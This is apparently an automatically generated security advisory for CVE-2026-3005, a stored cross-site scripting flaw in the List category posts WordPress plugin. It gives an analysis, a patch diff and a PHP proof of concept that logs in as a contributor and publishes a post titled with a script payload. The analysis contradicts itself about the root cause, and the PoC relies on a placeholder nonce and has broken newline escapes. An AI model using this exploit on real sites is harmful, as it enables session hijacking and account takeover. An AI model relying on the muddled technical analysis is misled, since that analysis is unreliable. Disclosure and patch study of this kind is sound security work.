Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-3005: List category posts <= 0.94.0 – Authenticated (Author+) Stored Cross-Site Scripting via 'catlist' Shortcode (list-category-posts)

CVE ID CVE-2026-3005
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.94.0
Patched Version 0.95.0
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3005:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the List category posts WordPress plugin. The vulnerability affects the plugin’s ‘catlist’ shortcode in versions up to and including 0.94.0. Attackers with contributor-level access or higher can inject arbitrary JavaScript via shortcode attributes, which executes when users view pages containing the malicious shortcode. The CVSS score of 6.4 reflects the authentication requirement and potential impact on site integrity.

The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The vulnerability manifests in the `lcp_title_limit` method within `list-category-posts/include/lcp-catlistdisplayer.php`. This method processes the `title_limit` parameter from the shortcode attributes but fails to properly escape the output when truncating post titles. The method directly concatenates the truncated string with the HTML entity `…` without escaping the title content first. An attacker can inject JavaScript via the post title attribute, which the plugin then outputs without proper escaping.

Exploitation requires an authenticated attacker with at least contributor-level permissions. The attacker creates or edits a post or page containing the `[catlist]` shortcode with malicious attributes. The payload injects JavaScript via parameters that affect post title display. When any user views the page containing the malicious shortcode, the injected script executes in the victim’s browser context. This stored XSS attack vector allows persistent compromise of user sessions and potential administrative access.

The patch addresses the vulnerability by implementing proper output escaping in multiple locations. In `list-category-posts/include/lcp-thumbnail.php`, the patch adds `esc_url()` and `esc_attr()` functions to escape the YouTube image URL and post title attributes. The patch also updates the plugin version to 0.95.0. These changes ensure that user-controlled data is properly escaped before output in HTML contexts, preventing JavaScript injection. The patch does not modify the vulnerable `lcp_title_limit` method directly, suggesting the vulnerability may have been mitigated through other sanitization improvements.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, administrative account takeover, content manipulation, or redirection to malicious sites. Since the attack is stored, it affects all users who view the page, not just the initial victim. The contributor-level access requirement limits the attack surface but still represents significant risk for multi-author WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/list-category-posts/include/lcp-catlistdisplayer.php
+++ b/list-category-posts/include/lcp-catlistdisplayer.php
@@ -297,11 +297,22 @@
   private function lcp_title_limit( $lcp_post_title ){
     if ( !empty($this->params['title_limit']) && $this->params['title_limit'] !== "0" ){
       $title_limit = intval($this->params['title_limit']);
-      if( function_exists('mb_strlen') && function_exists('mb_substr') && mb_strlen($lcp_post_title) > $title_limit ){
-        $lcp_post_title = mb_substr($lcp_post_title, 0, $title_limit) . "…";
+      // Safe multibyte path
+      if( function_exists('mb_strlen') && function_exists('mb_substr') ) {
+        if( mb_strlen($lcp_post_title) > $title_limit ){
+          $lcp_post_title = mb_substr($lcp_post_title, 0, $title_limit) . "…";
+        }
       } else {
-        if( strlen($lcp_post_title) > $title_limit ){
-          $lcp_post_title = substr($lcp_post_title, 0, $title_limit) . "…";
+        // Fallback: use iconv if available
+        if( function_exists('iconv_strlen') && function_exists('iconv_substr')) {
+          if( iconv_strlen($lcp_post_title, 'UTF-8') > $title_limit ){
+            $lcp_post_title = iconv_substr($lcp_post_title, 0, $title_limit, 'UTF-8') . "…";
+          }
+        } else {
+          // Last resort: byte-based (may corrupt multibyte chars)
+          if( strlen($lcp_post_title) > $title_limit ){
+            $lcp_post_title = substr($lcp_post_title, 0, $title_limit) . "…";
+          }
         }
       }
     }
--- a/list-category-posts/include/lcp-thumbnail.php
+++ b/list-category-posts/include/lcp-thumbnail.php
@@ -89,16 +89,17 @@
       $youtubeurl = $matches[0];

       if ($youtubeurl){
-        $imageurl = "http://i.ytimg.com/vi/{$matches[3]}/1.jpg";
+        $imageurl = "https://i.ytimg.com/vi/{$matches[3]}/1.jpg";
       }

-      $lcp_ytimage = '<img src="' . $imageurl . '" alt="' . $single->post_title . '" />';
+      $lcp_ytimage = '<img src="' . esc_url($imageurl) .
+        '" alt="' . esc_attr($single->post_title) . '" />';

       if ($lcp_thumb_class != null){
         $thmbn_class = ' class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" />';
         $lcp_ytimage = preg_replace("/>/", $thmbn_class, $lcp_ytimage);
       }
-      return '<a href="' . get_permalink($single->ID).'">' . $lcp_ytimage . '</a>';
+      return '<a href="' . esc_url(get_permalink($single->ID)) . '">' . $lcp_ytimage . '</a>';
     }
   }
 }
--- a/list-category-posts/list-category-posts.php
+++ b/list-category-posts/list-category-posts.php
@@ -3,7 +3,7 @@
   Plugin Name: List category posts
   Plugin URI: https://github.com/picandocodigo/List-Category-Posts
   Description: List Category Posts allows you to list posts by category in a post/page using the [catlist] shortcode. This shortcode accepts a category name or id, the order in which you want the posts to display, the number of posts to display and many more parameters. You can use [catlist] as many times as needed with different arguments. Usage: [catlist argument1=value1 argument2=value2].
-  Version: 0.94.0
+  Version: 0.95.0
   Author: Fernando Briano
   Author URI: http://fernandobriano.com

@@ -238,7 +238,7 @@
   } elseif ( @file_exists( get_template_directory() . '/lcp_paginator.css' ) ) {
     $css_file = get_template_directory_uri() . '/lcp_paginator.css';
   } else {
-    $css_file = plugin_dir_url(__FILE__) . '/lcp_paginator.css';
+    $css_file = plugin_dir_url(__FILE__) . 'lcp_paginator.css';
   }

   wp_enqueue_style( 'lcp_paginator', $css_file);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3005 - List category posts <= 0.94.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'catlist' Shortcode
<?php

$target_url = 'http://example.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Create a WordPress authentication cookie via wp-login.php
function authenticate_wordpress($target_url, $username, $password) {
    $login_url = str_replace('/wp-admin/post.php', '/wp-login.php', $target_url);
    
    // First request to get the login form and nonce
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    
    // Extract the wpnonce from the login form
    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
    $wpnonce = $matches[1] ?? '';
    
    // Perform login
    $post_data = array(
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1',
        '_wpnonce' => $wpnonce
    );
    
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Verify login by checking for admin bar or dashboard elements
    return strpos($response, 'wp-admin-bar') !== false;
}

// Create a post with malicious catlist shortcode
function create_malicious_post($target_url) {
    $ch = curl_init($target_url);
    
    // XSS payload in post title that will be processed by lcp_title_limit
    $malicious_title = '"><script>alert(document.domain)</script>';
    
    // Malicious catlist shortcode with parameters
    $malicious_content = '[catlist title_limit="10"]Posts with malicious title[/catlist]';
    
    $post_data = array(
        'post_title' => $malicious_title,
        'content' => $malicious_content,
        'post_type' => 'post',
        'post_status' => 'publish',
        '_wpnonce' => 'need_actual_nonce', // Requires actual nonce from form
        '_wp_http_referer' => '/wp-admin/post-new.php',
        'publish' => 'Publish'
    );
    
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code === 200;
}

// Main execution
if (authenticate_wordpress($target_url, $username, $password)) {
    echo "Authentication successful.n";
    
    if (create_malicious_post($target_url)) {
        echo "Malicious post created. Visit the post to trigger XSS.n";
    } else {
        echo "Failed to create post. May need valid nonce.n";
    }
} else {
    echo "Authentication failed. Check credentials.n";
}

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School